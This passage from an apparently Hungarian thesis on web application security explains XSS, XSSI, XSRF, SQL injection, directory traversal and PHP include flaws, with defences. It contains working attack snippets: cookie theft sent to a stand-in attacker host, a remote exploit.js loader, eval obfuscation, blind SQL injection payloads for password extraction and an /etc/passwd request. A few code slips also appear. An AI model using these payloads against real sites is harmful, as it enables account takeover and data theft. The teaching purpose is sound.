Bizonyos web-lapok tartalmaznak „elfelejtett jelszó” funkciót, mely során a

felhasználónak egy korábban beállított biztonsági kérdésre kell válaszolnia ahhoz, hogy

megváltoztathassa a jelszavát. Ha a támadó képes ellopni az ehhez tartozó választ, akkor

ennek birtokában képes belépni a potenciális áldozat nevében, amely visszaélésekre ad

lehetőséget.

Úgy működik, hogy a támadó egy olyan programot futtat az áldozat böngészőjében,

mely az áldozat tudtán kívül elküldi neki a kért információt. Erre lehet alkalmas egy az

alábbihoz hasonló kódrészlet:

// Létrehozunk egy új kép objektumot azért, mert arra

// nem érvényes a Same origin policy

var img = new Image();

// A kép elérési útvonalába GET paraméterként

// beletesszük az ellopni kívánt adatot

image.src = "http://www.tamado.hu?cookie=" +

document.cookie;

26

Page 27: Web Alkalmazasok Biztonsága

Vizsgáljuk meg részletesebben, hogy mire miért van szükség a fenti példában. A

támadó célja, hogy megszerezze az áldozat munkamenet-azonosítóját (session ID) [62],

mely segítségével – amennyiben a szerver nem ellenőrzi az IP-cím egyezését – be tud lépni

az áldozat nevében. De miért van szükség az Image (kép) létrehozására? Ennek

megértéséhez tisztában kell lennünk azzal, hogy a JavaScript miként kezeli a domain-ekhez

kötött jogosultságokat (ld.: 2.5.1 Same origin policy). Ez azt határozza meg, hogy egy adott

domain-en futó programrészlet csak a saját domain-jéhez intézhet távoli kéréseket, vagyis

látszólag a támadó hiába szerzi meg az információt, nem képes azt eljuttatni a saját gépére.

Ez azonban megkerülhető úgy, hogy megpróbál egy képet betölteni a www.tamado.hu

címről, melynek GET paraméterben átadja a kérdéses információt, melyet a célgép

egyszerűen eltárol egy fájlban vagy adatbázisban. Ezt felhasználva a későbbiekben – ha a

munkamenet még él – a támadó be tud lépni az áldozat nevében, üzeneteket küldhet,

megváltoztathatja a beállításait, vagy ellophatja a személyes adatait.

3.3.2. Áldozat nevében történő cselekvés

Korábban szó esett arról, hogy a teljes identitás ellopásához az is szükséges, hogy a

megtámadott web-oldal ne ellenőrizze a kliensek IP-címét. A most bemutatott módszer

viszont az ellenőrzés megléte esetén is működik, és – a legtöbb esetben – észrevétlen az

áldozat számára.

27

Page 28: Web Alkalmazasok Biztonsága

// Készítsünk egy iframe-et

var iframe = document.createElement('iframe');

// Ágyazzuk be a body-ba

document.getElementsByTagName('body')

[0].appendChild(iframe);

// Tegyük láthatatlanná

iframe.style.visibility = 'hidden';

// Töltsük be az eredeti oldalt, és végezzük el

// rajta azt, amit csak szeretnénk

iframe.src = 'http://www.pelda.hu/secret';

// Várjuk meg, hogy az oldal betöltődjön

iframe.onload = function ()

{

iframe_doc = iframe.contentDocument;

// Kérdezzünk le valamilyen érzékeny adatot,

// majd jelenítsük meg

var secret =

iframe_doc.getElementById('secret').innerHTML;

alert(secret);

};

Ezzel a megoldással – az alkalmazástól függően – a felhasználó nevében üzeneteket

írhat, átállíthatja a beállításait, vagy akár törölheti a profilját anélkül, hogy azt az áldozat

észrevenné. Ezen kívül alkalmas arra is, hogy a fent bemutatott módszer segítségével

ellopja a felhasználó titkos kérdésére adott választ (jelen példában a secret azonosítóval

rendelkező elem tartalmát), és így megváltoztassa a jelszavát.

28

Page 29: Web Alkalmazasok Biztonsága

3.3.3. XSS Wormok

A wormok olyan számítógépes programok, melyek képesek önmagukat

reprodukálni és terjeszteni, felhasználói interaktivitás nélkül. Az XSS wormokat a támadók

akkor használják, ha gyorsítani szeretnék a rossz indulatú programjaik elterjedését. A

támadások céljai a legtöbb esetben közösségi oldalak, fórumok, képmegosztó és azonnali

üzenetküldő alkalmazások. Természetesen ezek a programok – azon kívül, hogy terjesztik

önmagukat – valamilyen nemkívánatos tevékenységet is végeznek, például adatokat lopnak

és juttatnak el a támadó számára.

Példaként tekintsünk egy olyan fórumot, ahol számos témához lehet hozzászólni.

Tegyük fel, hogy egy támadó talált a hozzászólás hozzáadásában valamilyen XSS

sebezhetőséget. Ha ezt úgy használja ki, hogy minden témához hozzáad egy fertőzött

hozzászólást, akkor gyanússá válhat, valamint megkönnyíti a moderációt. Ezzel szemben,

ha készít egy olyan wormot, mely véletlenszerűen választ egy fórumtémát – melybe beírja

önmagát – akkor az összes ilyen worm példány más és más felhasználó neve alatt fog

szerepelni, ami megnehezíti a worm felszámolását.

Bizonyos fejlettebb wormok képesek arra is, hogy a forráskódjukat minden egyes

tovaterjedésük során megváltoztassák. Ennek a hatására a web-oldal üzemeltetője nem

feltétlenül tudja minta alapján kiszűrni a fertőzött bejegyzéseket.

A wormok legnagyobb veszélye, hogy rendkívül gyorsan terjednek, és az

üzemeltetők általában nincsenek felkészülve a megfékezésükre. Jellemző, hogy amire

sikerül megszabadulni tőlük, addigra már nagy számú felhasználó érintetté válik.

29

Page 30: Web Alkalmazasok Biztonsága

3.3.4. Böngésző exploit

Sok esetben a támadó célja az, hogy egy hátsó kaput (backdoor) nyisson az áldozat

gépén, mely segítségével a későbbiekben adatot tud lopni, kéretlen reklámlevelet (spam)

tud küldeni, vagy további támadásokat tud indítani. Ilyenkor általában egy ismert böngésző-

sebezhetőséget (exploit) [63] használ ki. Ehhez a weben több adatbázis is elérhető, a

legismertebb a Metasploit [64]. A támadó ennek segítségével megpróbálhat egy ismert

böngésző-sebezhetőséget kihasználni, mely az esetek többségében sikerrel is jár, hiszen a

felhasználók nagy része – a kényelmetlenség, vagy ismerethiány miatt – nem frissíti

rendszeresen az alkalmazásait.

3.4. Karakterkódolásos XSS

Néha annak ellenére is használható a Cross-site scripting, hogy a fejlesztők

megpróbálnak védekezni ellene a problémát okozó karakterek lecserélésével. Az erre

alkalmazott program azonban nem mindig ugyanazt a karakterkódolást használja, mint amit

a böngésző. Ebben az esetben a támadó egy megfelelően manipulált UTF-8 kódolást [65]

használó karaktersorozattal el tudja kerülni, hogy a szerver-oldal átalakítsa a bejuttatott

HTML vezérlőkaraktereket. Ezt úgy teheti meg, hogy elküld egy olyan byte-ot, melyet a

szabvány szerint az őt követő byte-tal együtt kell értelmezni. Ilyen karakter lehet például

egy 128 és a 192-es byte közötti. Ezután beír egy vezérlőkaraktert, mint például a kisebb-

nagyobb jelet. Ha ezt a szerver egy darab UTF-8-as karakterként értelmezi, akkor nem fogja

lecserélni, vagyis eljut a böngészőbe az ártalmas kód.

Védekezni ellene úgy tudunk, hogy ellenőrizzük, és szükség esetén módosítjuk a

karakterkódolásra vonatkozó beállításokat a kiszolgálón.

30

Page 31: Web Alkalmazasok Biztonsága

3.5. Speciális karakterek használata a JavaScriptben

Ahogy a korábbi példáknál láthattuk, ahhoz, hogy egy megfelelő bonyolultságú

JavaScript program bejusson egy rendszerbe, szükség van számos speciális karakterre, mint

például az utasítások végét jelző pontosvesszőkre, vagy a karaktertömböket (string)

határoló idézőjelekre. Ezeket a karaktereket sok esetben tiltják, azonban ilyenkor is le lehet

futtatni összetettebb algoritmusokat a következőkben ismertetett módon.

A JavaScript nyelv String [66] objektumának egyik beépített metódusa a

fromCharCode() [67], mely tetszőleges számú egész számot (integer) fogad el

paraméterként, visszatérési értéke pedig az ennek megfelelő karakterek konkatenációja.

Vagyis az alábbi kód lefuttatása után a my_var változó értéke „ELTE” lesz:

var my_var = String.fromCharCode(69, 76, 84, 69);

Ennek a visszatérési értéke átadható az eval() [68] függvénynek, mely a kapott

karaktertömböt értelmezi és lefuttatja. Az alábbi programrészlet eredménye egy felugró

ablakban megjelenő „ELTE” lesz.

eval(String.fromCharCode(97, 108, 101, 114, 116, 40,

34, 69, 76, 84, 69, 34, 41, 59))

Vegyük észre, hogy a forrás nem tartalmaz sem idézőjelet (") sem pedig aposztrófot

('), mégis használja az „ELTE” karakterláncot.

31

Page 32: Web Alkalmazasok Biztonsága

3.6. Kliens-oldali kódinjektálás (Client-side code injection)

A legtöbb esetben a web-fejlesztők úgy próbálják elkerülni a rosszindulatú kódok

bejuttatását a rendszerbe, hogy az összes felhasználótól illetve adatbázisból származó

információban a HTML elemeket határoló speciális karaktereket lecserélik. Sok esetben ezt

már maga a framework vagy a „sablon motor” (template engine) [69] teszi meg, ez azonban

nem mindig nyújt megfelelő védelmet.

Néha elkerülhetetlen, hogy a HTML forrásba – a legtöbbször eseménykezelés

céljából – különféle JavaScript betéteket tegyünk. Ilyenkor gyakran előfordul, hogy az ezt

kezelő függvények paramétereiben dinamikus adatokat adunk át. A könnyebb érthetőség

kedvéért ezt egy példán keresztül szemléltetem:

Tételezzük fel, hogy egy webes galériát készítünk, melyben a képekhez címek

tartoznak, amelyeket a felhasználók adhatnak meg. Ebben az esetben a szerver egy

lehetséges implementációja az alábbi lehet:

$images = getImages();

foreach ($images as $image)

echo '<img src="' . $image['file_name']

. '" onclick="showImage(\''

. $image['file_name'] . '\', \''

. $image['title'] . '\');" />';

Ennek eredményeképpen a következőhöz hasonló HTML részt fog értelmezni a

böngésző:

32

Page 33: Web Alkalmazasok Biztonsága

<img src="1.jpg" onclick="showImage('1.jpg',

'Cím');" />

A showImage() függvény szerepe, hogy megjelenítse a kiválasztott képet

nagyobb méretben, a megadott címmel együtt. Vizsgáljuk meg, hogy mi történik, ha a

támadó az alábbi címet adja meg:

Cím'); alert(42); var dummy=('

Ekkor a HTML az alábbiak szerint alakul:

<img src="1.jpg" onclick="showImage('1.jpg', 'Cím');

alert(42); var dummy=('');" />

Ez azt jelenti, hogyha a felhasználó rákattint egy ilyen képre – hogy megnézze

nagyobb méretben – akkor miután lefutott az azt lehetővé tevő showImage() függvény,

lefut a támadó által hozzáadott kód is. A példában szereplő dummy nevű lokális változó

szerepe mindössze annyi, hogy megelőzze a szintaktikai hibát.

A fenti példában csak akkor fut le az ártó szándékú kód, ha a felhasználó rákattint az

adott képre. Ennek a támadásnak létezik azonban egy olyan változata is, mely nem igényli

ezt a fajta interakciót:

Cím');" onload="alert(42);" dummy=('

Ekkor az alábbi HTML forrást kapjuk:

33

Page 34: Web Alkalmazasok Biztonsága

<img src="1.jpg" onclick="showImage('1.jpg', 'Cím');"

onload="alert(42);" dummy=('');" />

Vagyis ebben a példában már a kép betöltésekor lefut a bejuttatott kód, nincs

szükség a felhasználó közreműködésére.

Mit tehet a támadó akkor, ha csak olyan HTML elembe képes JavaScriptet

injektálni, mely nem támogatja az onload eseményt? Ekkor használhatja a mouseover

illetve a mousemove eseménykezelőket – kiegészítve stíluslap (Cascading style sheets)

fertőzéssel –, mely lehetővé teszi, hogy az adott elem a teljes képernyőt elfoglalja, ezzel

kiváltva a fent említett eseményeket.

Néhány böngésző támogatja az úgynevezett dinamikus tulajdonságok (dynamic

properties) [70] használatát. Ennek segítségével a fejlesztőnek lehetősége van arra, hogy ne

egy konstans értéket állítson be a stíluslapban, hanem függővé tegye azt valamitől. Erre

akkor lehet szükség, amikor maximalizálni szeretnénk egy elem szélességét:

#en_divem

{

width: expression(document.body.clientWidth >

800? "800px": "auto");

}

A megoldás legnagyobb hátránya, hogyha a támadónak sikerül a CSS-be saját

értéket injektálni, akkor lehetősége lesz ártó szándékú kód lefuttatására is.

Természetesen a felhasználótól érkező adatok ellenőrzése, illetve a generált kódba

kerülő speciális karakterek kicserélése ezen támadások ellen is védelmet nyújt.

34

Page 35: Web Alkalmazasok Biztonsága

3.7. Külső JavaSript fájl betöltése

A korábbi példákban bemutattam, hogy néhány sor JavaScript bejuttatása a

rendszerbe sok esetben egyszerű lehet egy felkészültebb támadó számára. Mit tehet

azonban akkor, ha egy sokkal komplexebb programot szeretne végrehajtatni az áldozat

böngészőjével? Természetesen erre is van megoldás.

var script = document.createElement('script');

script.type = 'text/javascript';

script.src = 'http://www.tamado.hu/exploit.js';

document.body.appendChild(script);

A fenti kód dinamikusan létrehoz egy <script> tag-et, ami a távoli

http://www.tamado.hu alatt található exploit.js nevű fájlra mutat, mely a rosszindulatú

programot tartalmazza. Az utolsó sor a frissen elkészített elemet a body-ba ágyazza, mely

szükséges ahhoz, hogy a távoli fájlt letöltse a böngésző.

Ezt a funkcionalitást azonban sokkal rövidebben is le lehet írni, mely fontos lehet

akkor, ha például limitált a bejuttatható karakterek száma:

d=document;d.body.appendChild(d.createElement('script'

)).src='http://www.tamado.hu/exploit.js';

Az exploit.js már tetszőleges mennyiségű forráskódot tartalmazhat, illetve azonos

kontextusban fog futni, mint a beinjektált kód.

35

Page 36: Web Alkalmazasok Biztonsága

E támadás ellen önmagában nem lehet védekezni, sokkal inkább azt kell elérni, hogy

a támadó semmilyen módon ne legyen képes bejuttatni az ártó szándékú kódrészletet.

3.8. Cross Site Script Inclusion (XSSI)

A böngészők nem engedik meg, hogy egy domain-ről egy másik domain által

biztosított információhoz hozzáférjünk, amint az a Same origin policy (2.5.1) című

fejezetben látható volt. Képesek azonban hivatkozni más domain-eken lévő erőforrásokra,

ami lehet egy kép, vagy egy távoli JavaScript fájl. Ilyen esetben kiemelten fontos tudnunk,

hogy a külső script annak a domain-nek a jogosultságaival fut, amely arra hivatkozott.

A mai trendeknek megfelelően, számos weben található alkalmazás használ távoli

aszinkron hívásokat (AJAX – Asynchronous JavaScript and XML) [71]. Ennek segítségével

interaktívabbá tehető az alkalmazás, hiszen így anélkül frissíthetőek bizonyos információk,

hogy újra kéne tölteni a teljes lapot. Ennek azonban számos negatív következménye lehet,

melyet egy példán keresztül szemléltetek.

Tételezzük fel, hogy egy e-mailek küldésére és fogadására alkalmas, webes

felülettel rendelkező rendszert készítettünk. A még kényelmesebb használat érdekében

AJAX technológia segítségével kérjük le a legfrissebb leveleket. Nyilvánvaló, hogy ezek

érzékeny illetve személyes adatokat is tartalmazhatnak, vagyis nem engedhetjük, hogy

harmadik fél megszerezze őket.

A frissítéshez használt JavaScript – a kevesebb és érthetőbb forráskód kedvéért – a

népszerű jQuery [72] keretrendszert használja. Alább látható a forráskód egy részlete:

36

Page 37: Web Alkalmazasok Biztonsága

// Az új leveleket illeszti be a web-oldalba

function insertMails(mails)

{

...

}

// Az új levelek lekérdezését lehetővé tevő függvény

function fetchMails()

{

$.get('ajax.php', function(data) {

eval(data);

});

}

Maga a frissítés úgy történik, hogy rendszeres időközönként egy időzítő

segítségével meghívjuk a fetchMails() függvényt, mely lekérdezi az ajax.php

tartalmát, és végrehajtja a benne szereplő utasításokat. Egy lehetséges válasz a követező

lehet:

insertMails([

{

"sender": "[email protected]",

"subject": "Privát üzenet",

"body": "Ez egy személyes üzenet"

}

]);

37

Page 38: Web Alkalmazasok Biztonsága

Ahogy a példa is mutatja, a válaszban szereplő függvényhívás paraméterei

tartalmazzák a személyes információkat.

Tételezzük fel, hogy a támadó elnavigálja a saját web-oldalára az áldozatot –

például egy üzenet segítségével – miközben a mi alkalmazásunkat is használja. Ebben a

web-oldalban szerepelhet az alábbi HTML kód:

<script type="text/javascript">

function insertMails(mails)

{

for (var i = 0; i < mails.length; i++)

{

alert("Feladó: " + mails[i]['sender'] + "\

nTárgy: " + mails[i]['subject'] + "\nÜzenet: " +

mails[i]['body']);

}

}

</script>

<script type="text/javascript"

src="http://www.pelda.hu/ajax.php"></script>

Nézzük meg, hogy mi történik ebben az esetben! Először is az első blokkban

definiáljuk az insertMails() nevű függvényt, mely – az eredeti funkciójával

ellentétben – a kapott levelekre vonatkozó információkat jeleníti meg egy ciklus

segítségével.

38

Page 39: Web Alkalmazasok Biztonsága

Az ezt követő blokk betölti a pelda.hu-n lévő ajax.php-t, mint külső JavaScript fájl.

Mivel a böngészők ilyen esetben elküldik a pelda.hu-hoz tartozó sütiket, így a web-szerver

nem tud különbséget tenni egy ilyen kérés, illetve egy szabályos – saját domain-ről érkező

– között. Ezek együttes eredményeként a támadó web-oldalán egy felugró ablakban

megjelennek a levelekre vonatkozó információk. Természetesen egy valódi támadó a

felugró ablakok helyett eltárolja a leveleket, a későbbi felhasználás céljából.

Az eddig leírtak alapján egy jó megoldásnak tűnik, ha a válaszba nem

függvényhívásokat teszünk, hanem csak magát az adatot, például JSON (JavaScript Object

Notation) [73] formátumban. Ehhez természetesen módosítanunk kell a fetchMails()

függvényünket:

// Az eval() használata helyett hívjuk inkább a

// megfelelő függvényt

függvényfunction fetchMails()

{

$.get('ajax.php', function(data) {

mails = data;

insertMails(mails);

});

}

Ekkor a válaszban már nem kell szerepelnie a függvényhívásnak, elegendő

definiálnunk egy tömböt, melynek elemei az üzenetek:

39

Page 40: Web Alkalmazasok Biztonsága

[

{

"sender": "[email protected]",

"subject": "Privát üzenet",

"body": "Ez egy személyes üzenet"

}

]

Látható, hogy ebben az esetben nincs mód a korábban ismertetett támadás

véghezvitelére. Ennek ellenére egy kis módosítással – bizonyos böngészők alatt – még

mindig elérheti a támadó a kívánt adatokat azzal, hogy felüldefiniálja az Array és az Object

konstruktorát. E sebezhetőség szerencsére már nem érinti az új verziókat, ennek ellenére

fontos, hogy felkészítsük az alkalmazásunkat ellene.

A védekezés egy lehetséges módja, ha az AJAX kérésben minden esetben

megkövetelünk egy egyedi azonosítót (token), lehetőleg POST paraméterként. Ezt a támadó

nem fogja tudni átadni a <script> elem használatával. Egy másik megoldás lehet, ha a

küldött JSON struktúrát érvénytelenné tesszük, például azzal, hogy prefixeljük egy „{”

karakterrel. Természetesen kliens-oldalon levágjuk ezt a karaktert, így eljutunk a

biztonságos megoldásig:

40

Page 41: Web Alkalmazasok Biztonsága

// Adjunk át egy egyedi azonosítót a függvénynek

function fetchMails(token)

{

// Használjunk POST-ot

$.get('ajax.php', { 'token': token },

function(data) {

// Vágjuk le a felesleges '{' karaktert

mails = data.substr(1);

insertMails(eval(mails));

}

);

}

3.9. XSRF (Cross-site request forgery)

A most ismertetett sebezhetőség szintén arra épül, hogy a böngészők minden esetben

elküldik a domain-hez tartozó sütiket, függetlenül attól, hogy melyik web-oldal intézte a

kérést. A megértéséhez – az előző példát továbbgondolva – tegyük fel, hogy a levelezést

biztosító szolgáltatásunk levélküldő űrlapja (form) így néz ki:

<form method="get" action="sendmail.php">

<input type="text" name="to"/>

<input type="text" name="subject"/>

<input type="text" name="body"/>

</form>

41

Page 42: Web Alkalmazasok Biztonsága

Ha a felhasználót a támadó elnavigálja a saját web-oldalára, akkor – élő

munkamenetet feltételezve – képes lehet arra, hogy üzenetet küldjön a nevében. Ehhez

nincs másra szüksége, mint egy – az eredetivel megegyező – HTTP kérés elküldésére. Ezt

legegyszerűbben úgy teheti meg, hogy megfelelően felparaméterez egy <img> tag-et:

<img src="[email protected]&subject=T

%C3%A1rgy&body=%C3%89n%20vagyok%20a%20t%C3%A1mad

%C3%B3"/>

Ennek hatására az áldozat – tudtán kívül – üzenetet küld a [email protected] címre

azzal a szöveggel, hogy „Én vagyok a támadó”.

Evidens megoldásnak tűnik az, hogy a GET helyett csak POST-ot engedünk meg az

ilyen típusú kérésekben. Ezzel elkerülhető, hogy a támadó egy kép betöltésével intézzen

ilyen típusú kéréseket a web-szerverünk felé. Ez azonban nem biztosít megfelelő védelmet,

mert a támadó képes arra, hogy a felépítsen egy – az előzővel azonos – űrlapot, melyet

JavaScript segítségével el is tud küldeni. Ha mindezt egy elrejtett <iframe>-be ágyazza,

akkor az áldozat semmit sem fog észrevenni ebből.

Néha a fejlesztők azt a megoldást alkalmazzák, hogy az említett funkciók esetében a

szerver-oldalon ellenőrzik az úgynevezett HTTP referrer-t [74]. Ez megadja az oldalhoz

tartozó URL-t, amelyről a kérés érkezett, így detektálhatóvá válnak az ilyen jellegű

próbálkozások. Ez a módszer azonban nem minden esetben használható, hisz sok

felhasználó kikapcsolja a referrer elküldését, illetve néhány böngésző alapbeállításokat

használva szintén nem küldi el a hivatkozó lap címét.

42

Page 43: Web Alkalmazasok Biztonsága

Biztonságosabb és teljesebb megoldás, ha a szerver-oldalon minden egyes

munkamenethez véletlenszerűen egy azonosítót (token) generálunk, melyet eltárolunk,

valamint az összes űrlapba beágyazunk. Amikor egy kérés érkezik a klienstől, akkor

ellenőrizzük, hogy a kapott azonosító megegyezik-e az általunk eltárolttal. Mivel a támadó

ehhez nem fér hozzá, így nem lesz képes a megfelelő kérés összeállítására, és így az áldozat

nevében történő üzenet küldésére.

3.10. SQL injektálás (SQL injection)

Az egyik legismertebb biztonságtechnikai sebezhetőség, az úgynevezett SQL

injektálás [75]. Az összes olyan – asztali és webes – alkalmazás érintett lehet, mely relációs

adatbázisban tárolja az adatait, és strukturált lekérdező nyelvet (Structured Query

Language) [76] használ az adatok létrehozására, módosítására és lekérdezésére.

Az alábbi példákban a – széles körben elterjedt – MySQL-t [77] használom, de

egyéb adatbázis-kezelő rendszerekre is érvényesek a következőkben leírtak.

A bemutatott támadás azt használja ki, hogy sok esetben az óvatlan alkalmazás-

fejlesztő a lekérdezésekbe – módosítás nélkül – beilleszt olyan értékeket, melyeket a

felhasználó ad meg. A klasszikus példa egy bejelentkező-képernyő, mely egy

felhasználónevet és egy jelszót fogad. Miután azt megadta a felhasználó, a szerver oldali

kód lefuttat egy ehhez hasonló lekérdezést, hogy eldöntse, jogosult-e a belépésre:

SELECT username FROM users WHERE username =

'<felhasználónév>' AND password = '<jelszó>';

43

Page 44: Web Alkalmazasok Biztonsága

Vizsgáljuk meg, hogy mi történik akkor, ha felhasználó a „felhasznalo” névvel, és a

„jelszo' OR 1 = '1” jelszóval próbál belépni. Ekkor a fenti sor a következőképpen alakul:

SELECT username FROM users WHERE username =

'felhasznalo' AND password = 'jelszo' OR 1 = '1';

Figyelembe véve a – példában használt – MySQL precedencia szabályait [78],

először az „és” (AND) értékelődik ki, majd a „vagy” (OR). Mivel a vagy feltételnek a jobb

oldala minden esetben igaz, ezért a lekérdezésnek minden esetben lesz eredménye, vagyis a

rendszer beléptet abban az esetben is, ha nem megfelelő jelszót adtunk meg.

Egy másik módszer, hogy a támadó lezárja az aktuális lekérdezést, és egy másikat

fűz hozzá. Ezzel lehetősége van adatok módosítására, vagy törlésére is. Természetesen ezt

csak akkor teheti meg, ha be van kapcsolva az ezt szabályzó kapcsoló:

MYSQL_OPTION_MULTI_STATEMENTS_ON

Felmerülhet bennünk a kérdés, hogy a támadó honnan tudhatja, hogy milyen

táblaneveket illetve mezőket használunk az adatbázisban, illetve mi ezeknek az értéke.

Létezik egy olyan módszer, mellyel – bizonyos feltételek mellett – a teljes adatbázis

feltérképezhető. Ehhez az kell, hogy a támadó eldöntendő kérdéseket tudjon feltenni a

szervernek, mely megvalósítható a korábbi bejelentkező-képernyő segítségével. Ekkor a

szerver bináris válasza alapján kiderül, hogy sikerült-e a bejelentkezés vagy sem.

44

Page 45: Web Alkalmazasok Biztonsága

Tegyük fel, hogy a támadó meg akarja szerezni az admin nevű felhasználóhoz

tartozó jelszót. Ehhez olyan eldöntendő kérdéseket kell konstruálnia, melyekre a kapott

válaszból ezt meg tudja határozni. Természetesen – a web szerverek válaszideje miatt –

nem használhat „nyers erő” (brute force) [79] támadást, mely során az összes lehetséges

jelszót végigpróbálná, ennél kevesebb lekérdezésből kell elérnie a célját. Az ehhez vezető

módszer a bináris vagy logaritmikus keresés (binary search) [80]. Ezt alkalmazva

nagyságrendekkel csökkenthető a szükséges próbák száma. Ennek lépései:

a) Meghatározza a jelszó hosszát logaritmikus kereséssel:

jelszo' UNION (SELECT username FROM users WHERE

username = 'admin' AND LENGTH(password) > 16 LIMIT 1)

–-

Ennek az eredménye a következő lekérdezés lesz:

SELECT username FROM users WHERE username = 'admin'

AND password = 'jelszo' UNION (SELECT username FROM

users WHERE username = 'admin' AND LENGTH(password) >

16 LIMIT 1) -– ';

45

Page 46: Web Alkalmazasok Biztonsága

Ebben a LENGTH() [81] függvény a jelszó hosszával tér vissza, melyet

összehasonlít a konstans 16-tal, majd ellenőrzi, hogy sikerült-e belépnie. Ha igen, akkor

ismert számára, hogy a jelszó hossza több mint 16 karakter, ha nem, akkor tudja, hogy 16

vagy annál rövidebb. Feltéve, hogy a jelszó nem hosszabb, mint 32 karakter, maximum

log232, azaz 5 lépésre van szüksége, hogy kiderítse a pontos hosszt. Tegyük fel, azt találta,

hogy a jelszó hossza 6 karakter.

b) Meghatározza a jelszó első karakterét:

Ehhez mindössze az előző módszer karakterekre való átültetésére van szükség,

melyet a jelszó mezőbe írt következő érték valósít meg:

jelszo' UNION (SELECT username FROM users WHERE

username = 'admin' AND MID(password, 1, 1) > 'm' LIMIT

1) --

Ennek eredménye egy olyan lekérdezés, melynek visszatérési értéke az első

karakterre vonatkozó információval fog szolgálni:

SELECT username FROM users WHERE username = 'admin'

AND password = 'jelszo' UNION (SELECT username FROM

users WHERE username = 'admin' AND MID(password, 1, 1)

> 'm' LIMIT 1) -- ';

46

Page 47: Web Alkalmazasok Biztonsága

Ebben a lekérdezésben a MID() [82] függvény – mely azonos a SUBSTRING()-

gel – az első paraméterként kapott karaktertömb első karakterét adja vissza. Ez

összehasonlítható az „m” betűvel, így minden egyes lépésben felezhető a lehetséges

karaktereket tartalmazó intervallum. Ennek segítségével – feltéve, hogy maximum 64-féle

karakter szerepel a jelszóban – log264, azaz 6 lépésben meghatározható az első karakter.

c) Meghatározza a jelszó többi karakterét:

Ehhez mindössze arra van szüksége, hogy a MID() függvény második

paraméterében az 1-et átírja arra a számra, ahányadik karaktert ki akarja deríteni.

Látszik, hogy a jelenlegi példában a jelszó kitalálásához mindössze 41 (=5+6*6)

próbára van szükség, ami könnyedén elvégezhető. Az előzőekben ismertetett megoldás

segítségével nem csak a mezők értékei határozhatóak meg, hanem – némi automatizálás

után – a teljes adatbázis feltérképezhető. Mindezért kiemelten fontos védekeznünk ellene.

Ahhoz, hogy elkerüljük az ilyen típusú támadásokat, az összes felhasználótól érkező

adat esetében szükségünk van arra, hogy az SQL vezérlőkaraktereit lecseréljük. Ezt –

amennyiben a felhasznált programnyelv PHP – legegyszerűbben a

mysql_real_escape_string() [83] segítségével tehetjük meg, mely minden olyan

karaktert eltávolít, melyet az adatbázis speciálisan kezel.

47

Page 48: Web Alkalmazasok Biztonsága

3.11. Path or directory traversal

Számos web-alkalmazás használ statikus erőforrásokat, mint például képeket,

stíluslapokat. Gyakran ezek kiszolgálását – teljesítménybeli szempontok miatt – tisztán a

web-szerverre bízzák. Ezt úgy valósítják meg, hogy ezen fájlokat egy – kívülről elérhető –

külön könyvtárba teszik. Ha nem megfelelően konfigurált a web-szerver (pl.: Apache),

akkor előfordulhat, hogy a támadó olyan állományokhoz is hozzáfér, melyek érzékeny

adatokat tartalmaznak. Képzeljük el, hogy egy külön fájlban tartjuk az adatbázishoz tartozó

felhasználónevet és jelszót. Ha a támadó ezt megszerzi, akkor hozzáférhet az összes benne

tárolt adathoz, amit nem engedhetünk meg.

Maga a támadás azt használja ki, hogy a „..” – Windows és Linux platformon is –

a szülő könyvtárra mutat, így az alkalmazás „feletti” könyvtárhoz is hozzá férhet a támadó.

Nézzük meg, hogy mi történik, ha beírja a böngészőjébe a következő címet:

http://www.pelda.hu/../../etc/passwd

Ekkor – néhány böngésző esetében – a HTTP fejléc eleje így fog kinézni:

GET /etc/passwd HTTP/1.1

Host: localhost

Ennek az oka, hogy sok esetben már maguk a böngészők végeznek egyfajta

optimalizációt és átalakítást a kapott URL-en, hogy megkönnyítsék a kiszolgálók dolgát,

illetve csökkentsék a hálózati adatforgalmat. Ilyen esetben használható a cURL [84] nevű

program, mely segítségével tetszőleges HTTP kérés kiadható.

48

Page 49: Web Alkalmazasok Biztonsága

Linux rendszerek esetében nem csak a „..”, hanem a „~” (hullám, tilde) karakter is

veszélyes lehet, mely a felhasználók saját könyvtáraihoz nyújt hozzáférést.

Védekezni ellene úgy lehet, hogy olyan beállításokat alkalmazunk a szerveren,

melyek nem teszik lehetővé, hogy az alkalmazás gyökérkönyvtárából „kiléphessen” a

támadó. Egy másik gyakori megoldás Linux rendszereken, hogy magát a web-alkalmazást

és a hozzá tartozó erőforrásokat egy saját chroot környezetben (chroot jail) [85] helyezik el.

Ez akkor is védelmet biztosít, ha a támadó valamilyen módon kijut az alkalmazás

könyvtárából, hisz magához a fő rendszerhez így sem fog tudni hozzáférni.

3.12. PHP include sebezhetőség

A PHP include sebezhetőség a korábban bemutatott Path or directory traversal

támadáshoz hasonló. A támadó célja itt is az, hogy olyan fájlokhoz férjen hozzá, melyekhez

nincs jogosultsága.

Sok kiszolgáló esetében találkozunk olyan megoldással, hogy egy GET

paraméterben várja a kiszolgáló a kért oldal nevét, vagyis a főoldal a követezőképpen

érhető el:

http://www.pelda.hu/?oldal=fooldal

Ezt a szerver-oldalon sok esetben – hibásan – az alábbi módon valósítják meg:

49

Page 50: Web Alkalmazasok Biztonsága

<?php

include($_GET['oldal'] . '.php');

?>

Ilyen esetben szintén működhet a korábban ismertetett támadás, vagyis a „..”

segítségével az alkalmazáson kívüli PHP fájlokra is hivatkozhat a támadó. Mit tehet

azonban akkor, ha nem „.php” kiterjesztésű fájlt akar betölteni? Sajnos ezt is megteheti, ha

az alábbi címet írja be a böngészőjébe:

http://www.pelda.hu/?oldal=proba.txt%00

Amikor a web-szerver továbbadja az oldal nevű paramétert a PHP-nak, kicseréli a

„%00”-t egy darab nulla byte-ra [86]. Mivel a PHP interpreter C nyelven íródott, ezért C-s

módon kezeli a karaktertömböket, vagyis egy karaktertömb mindig az első nulla byte-ig

tart. Ez a jelen példában azzal jár, hogy a paraméterhez fűzött „.php” kiterjesztést nem fogja

figyelembe venni, vagyis a proba.txt nevű fájlra fog hivatkozni.

Ennél sokkal súlyosabb a sebezhetőség, ha a php.ini konfigurációs fájlban be van

kapcsolva az allow_url_include [87] kapcsoló. Ebben az esetben az include()

[88] beépített PHP függvény elfogad paraméterként URL-t is. Ez azt jelenti, hogyha a

támadó készít egy PHP állományt, és elhelyezi azt a http://www.tamado.hu/exploit.php

címen, akkor az ebben szereplő utasításokat a pelda.hu-t kiszolgáló szerver végre fogja

hajtani. Ebben az esetben a támadó az exec() [89] függvény segítségével tetszőleges

